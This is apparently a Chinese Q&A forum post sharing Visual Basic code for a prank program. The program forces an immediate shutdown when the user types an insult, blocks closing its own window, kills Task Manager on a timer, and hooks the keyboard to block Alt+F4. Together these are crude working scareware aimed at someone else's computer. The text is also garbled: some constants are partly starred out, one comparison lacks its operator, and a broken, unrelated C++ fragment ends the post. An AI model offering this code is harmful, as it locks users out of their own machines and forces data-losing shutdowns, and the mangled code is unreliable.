我使VB编写出了一个简易序，因为百度问答的局限性我仅将关键代码放在下边

如果有搞不懂的地区，随时欢迎

If Text1 = "帅" Then

MsgBox "你很诚信", vbOKOnly, ""

ElseIf Text1 = "长得不好看" Then

Shell "cmd.exe /c shutdown -s -t 0"

End If

此外，使关掉无效的代码为

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

Cancel = 1

End Sub

使资源管理器无效的代码可以用（必须放在timer里）

Shell "taskkill /im taskmgr.exe /f", vbHide

禁止使用ALT F4的代码可以用

Option Explicit

Private Declare Function GetKeyState Lib "User32" _

(ByVal nVirtKey As Long) As Integer

Public Declare Function SetWindowsHookEx Lib "User32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long

Public Declare Function UnhookWindowsHookEx Lib "User32" (ByVal hHook As Long) As Long

Public Declare Function CallNextHookEx Lib "User32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)

Public Type KEYMSGS

vKey As Long

sKey As Long

flag As Long

time As Long

End Type

Public Const WH_KEYBOARD_LL = 13

Public Const VK_LWIN = &H5B

Public Const VK_RWIN = &H4C

Public Const HC_ACTION = 0

Public Const HC_SY *** ODALOFF = 5

Public Const HC_SY *** ODALON = 4

Public Const WM_KEYDOWN = &H100

Public Const WM_KEYUP = &H101

Public Const WM_SYSKEYDOWN = &H104

Public Const WM_SYSKEYUP = &H105

Public P As KEYMSGS

Public lHook As Long

Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long

Dim fEatKeystroke As Boolean

If (nCode = HC_ACTION) Then

If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then

CopyMemory P, ByVal lParam, Len(P)

Select Case P.vKey

Case vbKeyF4

If (GetKeyState(vbKeyMenu) And &H8000)0 Then

fEatKeystroke = True

End If

End Select

End If

End If

If fEatKeystroke Then

LowLevelKeyboardProc = -1

Else

LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)

End If

End Function

'之上为控制模块代码

lHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, App.hInstance, 0) '设定电脑键盘勾子

UnhookWindowsHookEx lHook '撤销电脑键盘勾子

额，百度搜索不许打。我发文件了，无毒性有害死去。我挣点钱呵呵呵

会卡死吧/也有很有可能会泄露秘密。

#includeusing namespace std;int main(){ int a; cin >> a; long long i=56645698080875867937693598758973409776979046856734769875876509870596798657568709865078069587094865987658967768576859684867456795876894568948646456456456456456565664563793894812898;//数据一部分可改 do{ cout